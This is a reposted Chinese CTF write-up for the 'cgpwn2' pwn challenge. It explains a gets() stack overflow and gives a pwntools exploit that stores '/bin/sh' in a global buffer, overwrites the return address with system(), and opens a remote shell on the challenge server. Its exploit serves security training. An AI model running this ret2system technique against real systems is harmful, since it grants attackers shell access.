欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

攻防世界 cgpwn2

程序员文章站 2022-05-15 21:48:14
...

1.题目

攻防世界 cgpwn2

2.IDA反汇编C程序

攻防世界 cgpwn2 

攻防世界 cgpwn2 

3.流程分析

 首先提示输入名字,然后提示输入一段信息,程序就结束了。很简单的流程,gets方法也存在明显的溢出。但是目前为止没有找到我们想要的flag。在方法区看到有pwn方法,点进去一看,额。。

攻防世界 cgpwn2

没有找到可以直接利用的源程序方法,那就只能自己构造了。 可以看到方法区中是有system方法的。所以我们只需要构造它的的参数:“cat flag”.

攻防世界 cgpwn2

PIE没有开,我们可以直接利用输入名字把参数存进去。下面是exp

from pwn import *

#sh = process('./cgpwn2')
sh = remote('220.249.52.133', 31578)
sh.recvuntil('please tell me your name\n')
elf = ELF('./cgpwn2')
sh.sendline('/bin/sh\x00')
sh.recvuntil('hello,you can leave some message here:\n')

payload = 'a' * 0x2a + p32(elf.symbols['system'])+'a' * 4 + p32(0x0804A080)
sh.send(payload)
sh.interactive()

 这里有个点需要注意,address_system后面需要加上address_ret(返回地址)。为什么呢?回忆一下调用函数的过程:1.将函数参数入栈;2.调用call方法调用函数,这个call方法做了两件事,①将返回地址入栈;②跳转到被调用函数执行;3.被调用函数将rbp入栈,然后rbp=rsp,rsp = rsp - xxx.

注意到,我们直接利用address_system覆盖返回地址,进而直接调用system方法,没有利用call方法调用system方法,所以我们需要自己完成call方法做的事情:返回地址入栈。所以address_system后面需要加上address_ret(返回地址),然后才是system方法的参数。

 

相关标签: pwn